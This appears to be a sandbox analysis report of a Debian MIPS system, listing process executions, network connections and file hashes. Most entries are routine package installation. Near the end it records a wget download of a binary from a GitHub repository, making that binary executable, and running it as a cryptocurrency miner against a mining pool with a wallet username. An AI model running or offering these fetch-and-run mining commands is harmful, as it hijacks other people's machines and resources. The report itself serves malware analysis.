[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/0-autoconf_2.69-10_all.deb /var/lib/dpkg/tmp.ci]

/usr/local/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/0-autoconf_2.69-10_all.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/0-autoconf_2.69-10_all.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/0-autoconf_2.69-10_all.deb /var/lib/dpkg/tmp.ci]

/usr/local/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/sbin/tar

[tar -x -f - --warning=no-timestamp]

/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/0-autoconf_2.69-10_all.deb]

/usr/local/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/0-autoconf_2.69-10_all.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/0-autoconf_2.69-10_all.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/0-autoconf_2.69-10_all.deb]

/usr/local/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/local/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/local/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/1-autotools-dev_20161112.1_all.deb]

/usr/local/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/1-autotools-dev_20161112.1_all.deb]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/1-autotools-dev_20161112.1_all.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/1-autotools-dev_20161112.1_all.deb]

/usr/local/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/1-autotools-dev_20161112.1_all.deb /var/lib/dpkg/tmp.ci]

/usr/local/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/1-autotools-dev_20161112.1_all.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/1-autotools-dev_20161112.1_all.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/1-autotools-dev_20161112.1_all.deb /var/lib/dpkg/tmp.ci]

/usr/local/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/sbin/tar

[tar -x -f - --warning=no-timestamp]

/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/1-autotools-dev_20161112.1_all.deb]

/usr/local/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/1-autotools-dev_20161112.1_all.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/1-autotools-dev_20161112.1_all.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/1-autotools-dev_20161112.1_all.deb]

/usr/local/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/local/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/local/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/2-automake_1%3a1.15-6_all.deb]

/usr/local/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/2-automake_1%3a1.15-6_all.deb]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/2-automake_1%3a1.15-6_all.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/2-automake_1%3a1.15-6_all.deb]

/usr/local/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/2-automake_1%3a1.15-6_all.deb /var/lib/dpkg/tmp.ci]

/usr/local/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/2-automake_1%3a1.15-6_all.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/2-automake_1%3a1.15-6_all.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/2-automake_1%3a1.15-6_all.deb /var/lib/dpkg/tmp.ci]

/usr/local/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/sbin/tar

[tar -x -f - --warning=no-timestamp]

/bin/tar

[tar -x -f - --warning=no-timestamp]

/var/lib/dpkg/tmp.ci/preinst

[/var/lib/dpkg/tmp.ci/preinst install]

/usr/local/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/2-automake_1%3a1.15-6_all.deb]

/usr/local/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/2-automake_1%3a1.15-6_all.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/2-automake_1%3a1.15-6_all.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/2-automake_1%3a1.15-6_all.deb]

/usr/local/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/local/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/local/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/3-libcurl4-openssl-dev_7.52.1-5+deb9u10_mipsel.deb]

/usr/local/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/3-libcurl4-openssl-dev_7.52.1-5+deb9u10_mipsel.deb]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/3-libcurl4-openssl-dev_7.52.1-5+deb9u10_mipsel.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/3-libcurl4-openssl-dev_7.52.1-5+deb9u10_mipsel.deb]

/usr/local/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/3-libcurl4-openssl-dev_7.52.1-5+deb9u10_mipsel.deb /var/lib/dpkg/tmp.ci]

/usr/local/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/3-libcurl4-openssl-dev_7.52.1-5+deb9u10_mipsel.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/3-libcurl4-openssl-dev_7.52.1-5+deb9u10_mipsel.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/3-libcurl4-openssl-dev_7.52.1-5+deb9u10_mipsel.deb /var/lib/dpkg/tmp.ci]

/usr/local/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/sbin/tar

[tar -x -f - --warning=no-timestamp]

/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/3-libcurl4-openssl-dev_7.52.1-5+deb9u10_mipsel.deb]

/usr/local/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/3-libcurl4-openssl-dev_7.52.1-5+deb9u10_mipsel.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/3-libcurl4-openssl-dev_7.52.1-5+deb9u10_mipsel.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/3-libcurl4-openssl-dev_7.52.1-5+deb9u10_mipsel.deb]

/usr/local/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/local/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/local/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/4-libjansson-dev_2.9-1_mipsel.deb]

/usr/local/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/4-libjansson-dev_2.9-1_mipsel.deb]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/4-libjansson-dev_2.9-1_mipsel.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/4-libjansson-dev_2.9-1_mipsel.deb]

/usr/local/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/4-libjansson-dev_2.9-1_mipsel.deb /var/lib/dpkg/tmp.ci]

/usr/local/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/4-libjansson-dev_2.9-1_mipsel.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/4-libjansson-dev_2.9-1_mipsel.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/4-libjansson-dev_2.9-1_mipsel.deb /var/lib/dpkg/tmp.ci]

/usr/local/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/sbin/tar

[tar -x -f - --warning=no-timestamp]

/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/4-libjansson-dev_2.9-1_mipsel.deb]

/usr/local/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/4-libjansson-dev_2.9-1_mipsel.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/4-libjansson-dev_2.9-1_mipsel.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/4-libjansson-dev_2.9-1_mipsel.deb]

/usr/local/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/local/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/local/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/5-libomp5_3.9.1-1_mipsel.deb]

/usr/local/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/5-libomp5_3.9.1-1_mipsel.deb]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/5-libomp5_3.9.1-1_mipsel.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/5-libomp5_3.9.1-1_mipsel.deb]

/usr/local/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/5-libomp5_3.9.1-1_mipsel.deb /var/lib/dpkg/tmp.ci]

/usr/local/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/5-libomp5_3.9.1-1_mipsel.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/5-libomp5_3.9.1-1_mipsel.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/5-libomp5_3.9.1-1_mipsel.deb /var/lib/dpkg/tmp.ci]

/usr/local/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/sbin/tar

[tar -x -f - --warning=no-timestamp]

/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/5-libomp5_3.9.1-1_mipsel.deb]

/usr/local/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/5-libomp5_3.9.1-1_mipsel.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/5-libomp5_3.9.1-1_mipsel.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/5-libomp5_3.9.1-1_mipsel.deb]

/usr/local/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/local/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/local/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/6-libomp-dev_3.9.1-1_mipsel.deb]

/usr/local/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/6-libomp-dev_3.9.1-1_mipsel.deb]

/usr/sbin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/6-libomp-dev_3.9.1-1_mipsel.deb]

/usr/bin/dpkg-split

[dpkg-split -Qao /var/lib/dpkg/reassemble.deb /tmp/apt-dpkg-install-WWWdSG/6-libomp-dev_3.9.1-1_mipsel.deb]

/usr/local/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/6-libomp-dev_3.9.1-1_mipsel.deb /var/lib/dpkg/tmp.ci]

/usr/local/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/6-libomp-dev_3.9.1-1_mipsel.deb /var/lib/dpkg/tmp.ci]

/usr/sbin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/6-libomp-dev_3.9.1-1_mipsel.deb /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg-deb

[dpkg-deb --control /tmp/apt-dpkg-install-WWWdSG/6-libomp-dev_3.9.1-1_mipsel.deb /var/lib/dpkg/tmp.ci]

/usr/local/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/sbin/tar

[tar -x -f - --warning=no-timestamp]

/usr/bin/tar

[tar -x -f - --warning=no-timestamp]

/sbin/tar

[tar -x -f - --warning=no-timestamp]

/bin/tar

[tar -x -f - --warning=no-timestamp]

/usr/local/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/6-libomp-dev_3.9.1-1_mipsel.deb]

/usr/local/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/6-libomp-dev_3.9.1-1_mipsel.deb]

/usr/sbin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/6-libomp-dev_3.9.1-1_mipsel.deb]

/usr/bin/dpkg-deb

[dpkg-deb --fsys-tarfile /tmp/apt-dpkg-install-WWWdSG/6-libomp-dev_3.9.1-1_mipsel.deb]

/usr/local/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/local/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/sbin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/bin/rm

[rm -rf -- /var/lib/dpkg/tmp.ci]

/usr/bin/dpkg

[/usr/bin/dpkg --status-fd 14 --configure --pending]

/var/lib/dpkg/info/libc-bin.postinst

[/var/lib/dpkg/info/libc-bin.postinst triggered ldconfig]

/sbin/ldconfig

[ldconfig]

/var/lib/dpkg/info/automake.postinst

[/var/lib/dpkg/info/automake.postinst configure ]

/usr/bin/update-alternatives

[update-alternatives --install /usr/bin/automake automake /usr/bin/automake-1.15 33 --slave /usr/bin/aclocal aclocal /usr/bin/aclocal-1.15 --slave /usr/share/man/man1/automake.1.gz automake.1.gz /usr/share/man/man1/automake-1.15.1.gz --slave /usr/share/man/man1/aclocal.1.gz aclocal.1.gz /usr/share/man/man1/aclocal-1.15.1.gz]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/bin/dpkg

[/usr/bin/dpkg --print-foreign-architectures]

/usr/bin/wget

[wget https://raw.githubusercontent.com/MomboteQ/Free-Crypto-Mining/main/verus/cc]

/bin/chmod

[chmod +x cc]

/usr/bin/clear

[clear]

/usr/bin/nproc

[nproc]

/tmp/cc

[./cc -a verus -o stratum+tcp://de.vipor.net:5040 -u RHACKERwSVgjTvV4vNiTjmrkLTD7a92ALD.Linux -p x -t 1]

Network

Country Destination Domain Proto
US 1.1.1.1:53 debian9-mipsel-20240418-en-12 udp
US 1.1.1.1:53 debian9-mipsel-20240418-en-12 udp
US 1.1.1.1:53 debian9-mipsel-20240418-en-12 udp
US 1.1.1.1:53 debian9-mipsel-20240418-en-12 udp
US 1.1.1.1:53 debian9-mipsel-20240418-en-12 udp
US 1.1.1.1:53 debian9-mipsel-20240418-en-12 udp
US 1.1.1.1:53 debian9-mipsel-20240418-en-12 udp
US 1.1.1.1:53 debian9-mipsel-20240418-en-12 udp
US 1.1.1.1:53 debian9-mipsel-20240418-en-12 udp
US 1.1.1.1:53 debian9-mipsel-20240418-en-12 udp
US 1.1.1.1:53 _http._tcp.archive.debian.org udp
US 1.1.1.1:53 archive.debian.org udp
US 151.101.66.132:80 archive.debian.org tcp
US 1.1.1.1:53 raw.githubusercontent.com udp
US 185.199.110.133:443 raw.githubusercontent.com tcp
US 1.1.1.1:53 debian9-mipsel-20240418-en-12 udp
US 1.1.1.1:53 debian9-mipsel-20240418-en-12 udp

Files

/var/spool/exim4/input/1sSxR4-0000CA-0i-D

MD5 fbd1acb00a978a1b3cbed64352c9b138
SHA1 9c94807efdbf45b13496265bc70bd54aaa110b68
SHA256 6fa0e0df18e8067c9ea27a12ccf1ba1944073556ad44a52a2e7eb62abb1e7cfc
SHA512 54a143f304ae7bd57a3029e66056e74bd8925c9d7559189f51dc73f9e715c50ff540e5fd070d8c9d3149fc846838d48581e33d79c7c2187f1a0f6ea574f83020

/var/spool/exim4/input/1sSxR4-0000CD-0h-D

MD5 d834ba0d93078c8550285d125f20c917
SHA1 0d2c7c0d3335a2223ff07efeddd8af464b3b0a51
SHA256 0d294f27c738f0acdbc91d75fdfd2395455c6bba12c4f3f2c67d375c7bd021b3
SHA512 52df11d1bc7663bd84e16f1a54703380e3717b8f85a418747c4528627b727ef7596fc9a125dd019db46504b04a8eafd1eb1d58c126c9121d322b95fba099ab76

/var/spool/exim4/input/hdr.757

MD5 e66a888eb8ab3ba01f3e3a23d189fe29
SHA1 025ec062a9927ed608fba2de8dddcbeea4bfee2f
SHA256 21585f074baa434ec86d40269f04f1ab36f26df3754e38910fff73659d4f2126
SHA512 46292c98c1e3ecfd0f8b5217f1f708126c595d66d66530d5f2a2e8c138a4b731a17b5afd132795667f13519ed568c25ff0c8dda0a0f3e0bcfbf0dd3b75bd4a26

/var/spool/exim4/msglog/1sSxR4-0000CA-0i

MD5 22b063d0445602a4b9d6848b08cc3d36
SHA1 62c49110c6f3c3309c0ac2ebb370cd0c31727fba
SHA256 730e9507bd57b9620c48359fa8883a873e0f7f1fe8eeeeed37324f3724bb6fe1
SHA512 06ce7ad706530041e5e16fdbc62b0a6df483b31c3ea6047e2339bd07a02435c7d2399b18805f08b2c8a2e17491eb508cc2e4fe6272b9864610b45b3518237d50

/var/spool/exim4/msglog/1sSxR4-0000CD-0h

MD5 f13b884ef979b04a54e9bc63d89fbaba
SHA1 99399a32b134acd0319853aceb07db1fc6c94fca
SHA256 1e458cb160f28bd41fa27f44b59d58590748ff803a13fd56a0eb1987ca218e04
SHA512 ad30776352d142195428adfa436b5c6a78db73b0eb850eae621b69252bc119dce871c8d8bd4ba21f29684501e729fbcb9c6fae3f207307b7d49a07222bbc867b

/var/mail/user

MD5 d6fc28c0f865a5c689691e1dff04ea5a
SHA1 d56ee1d23ac708bd964930243df0b7e168fc1d52
SHA256 8cbaae1067099f6b110f360155d0645de390c8120ae5fea921edfdc242be55dd
SHA512 f086cbc1038f453f5002b125caba9b3bcff509d6efd7f8a41a83819a3c65c0b1ca6d3a80f4c68941acc3ca92ac260c4ab50a4e787b9cc3eed3b527f54e1609c6

/var/spool/exim4/input/1sSxR4-0000CD-0h-J

MD5 d7d96d63d643a4ce3e408eba7dfcedc5
SHA1 c53607f95c5c57beafc1d8266646797a035f76ea
SHA256 21db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159
SHA512 703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3

/var/spool/exim4/msglog/1sSxR4-0000CD-0h

MD5 9fee2b75e043f0145000c29d6fd55dd3
SHA1 f82b13b61cc4daab4b568a52dd9a9944746bb82e
SHA256 59b83174e4fac459557e4dfb5ca2b259ac56f7dd2e734438a2c88acae4ecb30e
SHA512 dbf60a44e0d095a359e30324ec5455a1b075fb7422b9ac1a09c2461e5d019632281b521f095f6a2289eb1f139417e114ec1211597fbe2295937bc8b3902f7a57

/var/mail/user

MD5 75279faec8c9bb2b7882af84764539cb
SHA1 3373eb5de30d45972e3f074f98afb702d64796e4
SHA256 519ab9f75415a5520c38ce01ad01a5bea7715b793e986d47fa4981554b52e2a9
SHA512 daeaf87da36ce4b9f87b08a3688536c62063751409c0e4225bf924ef75296334006057e10ed8f7a97bcbc0a920a63df49b8024475a0b6e363fb7475692a24349

/var/spool/exim4/msglog/1sSxR4-0000CA-0i

MD5 2918b18d2b6c394f4ea491995788148c
SHA1 44a24c79436986387d42d31c4868aa30fe3f9ee9
SHA256 37deb43acacfbeacb76ef22701f6e20cb97ad013df41749b1fd1453feb34e6ae
SHA512 5eb79b5e40474963f651ee96614671187f176fd8ccf6c0012c80bc7fb1a650148eecd52c0ab2198e07bbb451b9806e44be979b7a3dd5e03d9c94a46f6d219a5a

/var/cache/apt/archives/partial/autoconf_2.69-10_all.deb

MD5 e07f9b80b3c2f89b61c4a6fd8aa8b8f1
SHA1 872e1491c1ed049b8f489a68441d08d304ced0b2
SHA256 3f0b4476aa0f37f233cf492d0b80c098f4e2b7a77e1863d4d333b7fd43bb83c8
SHA512 d8b64f86370bde9f7d140dcd7253c3d06b9e579f622487e2b8c93dd2d334cfc49464504b2f1ba7ce1ce2ae871e0cf37abae518363d4811243d09ab9667bbed88

/var/cache/apt/archives/partial/autotools-dev_20161112.1_all.deb

MD5 9a0e77153e1284268de9b9b773ef795d
SHA1 5af0d2cfa2a7a3184e4bb5bde483667133f58728
SHA256 647e58e0b1d748759f52340b6d5425f04cfedc00492629cbcde937d27e42ef86
SHA512 c18d0e4ec2c7b6c34eaf4254776f2c6e2e4a57d1530059168d9556d2ce864dca659e63b252fb00cf69271aa7100d329d79f77114c0e70e57f477be0e81a35ead

/var/cache/apt/archives/partial/automake_1%3a1.15-6_all.deb

MD5 1421a528a8c414660be091c2a1c83a2d
SHA1 1f93e0524b32e3e8890bc0fd47d0f3e37f46e5db
SHA256 3ae460e116f1d6e5b8f76bdbc2dd52b9267484efeb80063c8a163c076d2ba108
SHA512 0eecda3f4d9e6e617bb975fbaf83d12a5584dfb13f7e65f43c810c647f49c1805bdf53fd90db26606df16a75b7a4c9315dba214370b8f1597bfa834b9034e67d

/var/cache/apt/archives/partial/libcurl4-openssl-dev_7.52.1-5+deb9u10_mipsel.deb

MD5 d511e6c697ceb101817ec13bf2e15576
SHA1 6dc2a000ae8a8c34aae56440fcc1afa46d391f12
SHA256 41dace0a4a56f470b94b0e331b2da1886eac84f877633f44056403aaaec0a3aa
SHA512 c58f7c2e40607f3d1073c1b557c233d0764e21b093a6e04c475f0c383f3cefc6b7e205e0b40f4e7e3b460a76f75da644dab8a84cd7b61ceff8193c01d9c4ef6d

/var/cache/apt/archives/partial/libjansson-dev_2.9-1_mipsel.deb

MD5 11e13a3d4905ec75ce0b4c7bdbd372b1
SHA1 26f5b6d3339751e8966966975f72ac6046c4eecc
SHA256 6bfbcbf8a9285f960f383878d6958660bcf5b6ce05d2a9a240cf76c7276a6cc9
SHA512 67786d84eea3834dfb4f4b3b33e680848fc7de1a8de3f94a6c05619b8ea1bcd06aa499175e7a2ff1fd53651f26618eb73893fb5e07c570994d3130455467bfbc

/var/cache/apt/archives/partial/libomp5_3.9.1-1_mipsel.deb

MD5 e816fcb25db756acf0cbc99f6de01407
SHA1 52380246d01bdae2b6262c688bb1e74bce5c55b1
SHA256 38624d097c4d0726ee858b1e3c0540c53fcf28499927d56996379423af1ca578
SHA512 1bad30e9a0dd568898231aab77ee28fc1aa3b3d58c7b105255750fedba2906562b5e70536b173dc56793c645caa2f938848b80b0e4a1c6defd7e326351bcb24d

/var/cache/apt/archives/partial/libomp-dev_3.9.1-1_mipsel.deb

MD5 54331be05fbb9539a36370364ee52e75
SHA1 6adbfdc672835a3db8ba7f3ba27fdf8fd8a1bdb8
SHA256 7c9a7484c3208ee529b50f5d7d013cd53c993724bb8f8d6fdeee480cf6747a7c
SHA512 5641122b53eaa5fa3a1949567c07cc8a477cd4468061c26e93cb35d18fadeef5e1649ebcda9202784d5d7121b91d54a53496a7f11b5cc9db05410255670ba596

/var/log/apt/eipp.log.xz

MD5 29b3719f4188184b6853cfe8ff85f9c2
SHA1 aa486029acfe5bab799b0bb2cbaf657b9e443f9c
